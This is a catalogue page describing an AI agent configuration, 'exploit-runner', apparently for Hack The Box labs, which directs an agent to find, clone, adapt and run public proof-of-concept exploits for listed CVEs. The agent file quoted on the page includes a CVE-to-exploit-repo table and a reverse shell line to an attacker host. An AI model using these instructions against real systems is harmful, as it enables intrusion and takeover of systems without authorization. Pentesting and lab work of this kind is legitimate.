exploit-runner

An agent for using publicly available proof-of-concept code to test a known software vulnerability identified by its CVE number.

In plain words
What is it for?
Use it to find, download, adapt, and run exploits for identified CVEs against an authorized target.
Why use it?
It helps connect a specific vulnerability to an available exploit and troubleshoot attempts to run it.

Agent

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add agents/allsmog/blackbox-claude-plugin/exploit-runner
Clone the repo
git clone --depth 1 https://github.com/allsmog/blackbox-claude-plugin
Per session 147 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 1,391 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00147 $0.01391
Opus 5 $0.00073 $0.00696
Sonnet 5 $0.00029 $0.00278
Haiku 4.5 $0.00015 $0.00139

Measured 2d ago against content hash 23eadfaf4258, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade A, and why

exploit-runner scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

| CVE-2021-41773 | Apache Path Traversal | Built-in (curl) |
blackbox-htb/agents/exploit-runner.md · 188 lines

How it starts

The opening of the file, as written. The whole thing — 188 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Exploit Runner Agent

Purpose

Automatically find, clone, and execute working exploits for identified CVEs.

Behavior

On Invocation

  1. Identify the CVE or vulnerability
  2. Search GitHub for PoC exploits
  3. Clone the most starred/recent repo
  4. Adapt exploit for target (IP, port, payload)
  5. Execute and verify success
  6. Provide troubleshooting if failed

CVE to Exploit Database

Quick reference for common HTB CVEs:

Web Application
CVE Name Exploit Repo
CVE-2021-41773 Apache Path Traversal Built-in (curl)
CVE-2021-44228 Log4Shell github.com/kozmer/log4j-shell-poc
CVE-2022-22965 Spring4Shell github.com/BobTheShoplifter/Spring4Shell-POC
Authentication Bypass
CVE Name Exploit Repo
CVE-2025-31161 CrushFTP Auth Bypass Built-in script
CVE-2023-22515 Confluence Auth Bypass github.com/Chocapikk/CVE-2023-22515
Remote Code Execution
CVE Name Exploit Repo
CVE-2025-32433 Erlang SSH Pre-Auth RCE github.com/ProDefense/CVE-2025-32433
CVE-2024-4577 PHP-CGI Argument Injection github.com/watchtowrlabs/CVE-2024-4577
CVE-2023-46747 F5 BIG-IP RCE github.com/W01fh4cker/CVE-2023-46747-RCE

Exploit Search Strategy

# 1. Search GitHub for CVE
# Pattern: CVE-YYYY-NNNNN

# 2. Clone top result
git clone https://github.com/<user>/<repo>.git /tmp/<cve>

# 3. Check for Python exploit
ls /tmp/<cve>/*.py

# 4. Install dependencies if needed
pip install -r /tmp/<cve>/requirements.txt 2>/dev/null

# 5. Read usage
cat /tmp/<cve>/README.md
python /tmp/<cve>/*.py --help

Exploit Adaptation

For each exploit, modify:

# Target configuration
HOST = "<TARGET_IP>"
PORT = <TARGET_PORT>

# Attacker configuration
LHOST = "<ATTACKER_IP>"
LPORT = <LISTENER_PORT>

# Payload (for RCE)
COMMAND = "cat /root/root.txt"
# or
COMMAND = "bash -i >& /dev/tcp/<ATTACKER>/4444 0>&1"

Read the full file on GitHub · 188 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago First seen · 188 lines · 147 tokens per session scan A 23eadfaf4258

Subscribe to this mod's changes

exploit-runner is an agent published in the GitHub repository allsmog/blackbox-claude-plugin (5 stars, last pushed 6mo ago), licensed MIT. It adds 147 tokens to every session and 1,391 once invoked, about $0.0007 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Related

Other agents, from other repositories

redteam-agent

Red Team penetration testing agent for HTB Expressway. Use when the user wants to attack or pentest the target machine. Executes reconnaissance, enumeration, exploitation, and privilege escalation. ALWAYS shows attack plan first before executing.

waybarrios/cyber-agent · 48 tokens

report-agent

Security report writer agent. Use after the Red Team Agent completes an attack to generate professional penetration testing reports in Markdown format following OWASP and PTES standards.

waybarrios/cyber-agent · 34 tokens

osint-collector

Delegates to this agent when the user asks about OSINT, reconnaissance, information gathering, target profiling, email harvesting, subdomain enumeration, social media recon, breach data, open source intelligence, or building a target dossier for authorized engagements.

0xSteph/pentest-ai-agents · 53 tokens

vuln-scanner

Delegates to this agent when the user wants to run vulnerability scans, identify CVEs in target systems, use tools like nuclei, nikto, or OpenVAS, parse vulnerability scan results, or prioritize vulnerabilities for exploitation during authorized penetration testing.

0xSteph/pentest-ai-agents · 54 tokens

supply-chain-auditor

Delegates to this agent when the user wants to audit software supply chain risk, generate or review an SBOM, hunt for dependency confusion and typosquatting exposure, inspect lockfile and package integrity, review install-time scripts in third-party packages, assess build and artifact provenance, or evaluate the blast…

0xSteph/pentest-ai-agents · 78 tokens

database-attacker

Delegates to this agent when the user wants database-specific offensive testing on an authorized target — SQL and NoSQL injection depth, authenticated database enumeration, DBMS privilege escalation, and safe data-extraction validation across MySQL, PostgreSQL, MSSQL, Oracle, MongoDB, and Redis. Executes with…

0xSteph/pentest-ai-agents · 71 tokens